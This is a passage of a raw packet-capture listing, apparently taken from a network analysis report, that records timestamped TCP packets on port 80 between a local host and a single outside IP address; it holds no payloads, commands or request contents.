Oct 30, 2024 00:21:14.049432039 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.049432039 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.049448013 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.049470901 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.050228119 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.050244093 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.050254107 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.050263882 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.050271988 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.050275087 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.050288916 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.050297976 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.050297976 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.050319910 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.050338030 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.051050901 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.051063061 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.051071882 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.051081896 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.051090956 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.051094055 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.051105022 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.051106930 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.051136017 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.051150084 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.052026987 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.052038908 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.052050114 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.052062035 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.052071095 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.052073956 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.052089930 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.052114964 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.052755117 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.052768946 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.052778959 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.052791119 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.052798033 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.052803040 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.052815914 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.052820921 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.052846909 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.053637028 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.053647995 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.053658009 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.053668976 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.053675890 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.053688049 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.053698063 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.053705931 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.053718090 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.053719044 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.053729057 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.053738117 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.053744078 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.053769112 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.053781986 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.054413080 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.054425001 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.054435015 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.054445982 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.054450989 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.054457903 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.054470062 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.054471016 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.054481030 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.054492950 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.054493904 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.054513931 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.054538965 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.055418968 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.055432081 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.055442095 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.055453062 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.055461884 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.055463076 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.055475950 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.055481911 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.055489063 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.055500031 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.055506945 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.055530071 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.055557013 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.056299925 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.056313038 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.056324959 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.056337118 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.056341887 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.056349993 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.056358099 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.056364059 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.056375980 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.056387901 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.056389093 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.056407928 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.056425095 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.057250977 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.057262897 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.057271957 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.057281971 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.057291985 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.057292938 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.057302952 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.057313919 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.057313919 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.057334900 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.057347059 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.058130026 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.058141947 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.058152914 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.058171034 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.058171034 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.058182001 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.058182001 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.058192968 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.058202982 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.058207989 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.058216095 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.058231115 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.058255911 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.059087992 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059101105 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059112072 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059123993 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059129953 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.059153080 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.059179068 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.059508085 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059520006 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059530020 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059541941 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059551954 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059561014 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.059564114 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059578896 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059588909 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.059592009 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.059612036 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.059631109 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.060482979 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.060496092 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.060504913 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.060516119 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.060528994 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.060530901 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.060540915 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.060551882 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.060553074 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.060564995 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.060570955 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.060575962 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.060595989 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.060615063 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.061448097 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.061461926 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.061471939 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.061484098 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.061491966 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.061495066 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.061506987 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.061520100 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.061528921 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.061532021 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.061542988 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.061544895 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.061563969 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.061592102 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.062391996 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.062405109 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.062416077 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.062427044 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.062434912 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.062434912 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.062447071 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.062457085 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.062458992 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.062469959 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.062480927 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.062484980 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.062493086 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.062499046 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.062521935 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.062545061 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.063293934 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.063319921 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.063332081 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.063343048 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.063344002 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.063350916 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.063358068 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.063369036 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.063374043 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.063380003 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.063386917 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.063394070 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.063404083 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.063406944 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.063419104 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.063430071 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.063447952 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.063467026 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.064204931 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064218044 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064229012 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064240932 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064248085 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.064251900 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064268112 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.064291954 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.064826965 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064840078 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064850092 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064862013 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064867973 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.064874887 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064887047 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064893961 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.064897060 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064908981 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064918995 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.064919949 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.064939976 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.064964056 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.065798044 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.065810919 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.065821886 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.065833092 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.065845013 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.065846920 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.065860987 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.065871000 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.065876007 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.065888882 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.065897942 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.065905094 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.065917015 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.065941095 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.066667080 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.066679955 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.066689968 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.066699028 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.066709042 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.066714048 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.066720963 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.066730976 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.066736937 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.066742897 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.066754103 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.066761017 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.066771030 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.066792965 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.067507029 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.067519903 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.067529917 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.067540884 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.067550898 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.067553997 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.067564011 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.067565918 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.067575932 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.067588091 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.067594051 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.067598104 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.067609072 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.067611933 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.067625046 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.067650080 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.068399906 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.068413019 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.068423033 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.068434000 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.068444014 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.068444014 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.068455935 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.068464041 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.068465948 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.068479061 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.068487883 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.068499088 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.068500996 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.068519115 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.068531990 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.069220066 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069232941 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069242001 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069307089 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.069307089 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.069613934 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069623947 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069633007 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069643021 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069653034 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069653988 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.069664955 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069673061 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.069675922 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069688082 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069694996 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.069699049 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069710016 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069715023 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.069724083 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.069734097 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.069751024 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.069772005 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.070612907 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.070626020 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.070635080 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.070645094 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.070656061 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.070657969 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.070666075 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.070668936 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.070677996 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.070688963 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.070698023 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.070699930 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.070710897 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.070713043 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.070717096 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.070732117 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.070744038 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.071528912 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.071541071 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.071549892 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.071561098 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.071571112 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.071573973 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.071580887 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.071583986 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.071593046 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.071605921 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.071609974 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.071615934 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.071625948 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.071631908 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.071635962 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.071646929 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.071666956 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.071686029 CET	59787	80	192.168.2.5	185.215.113.16
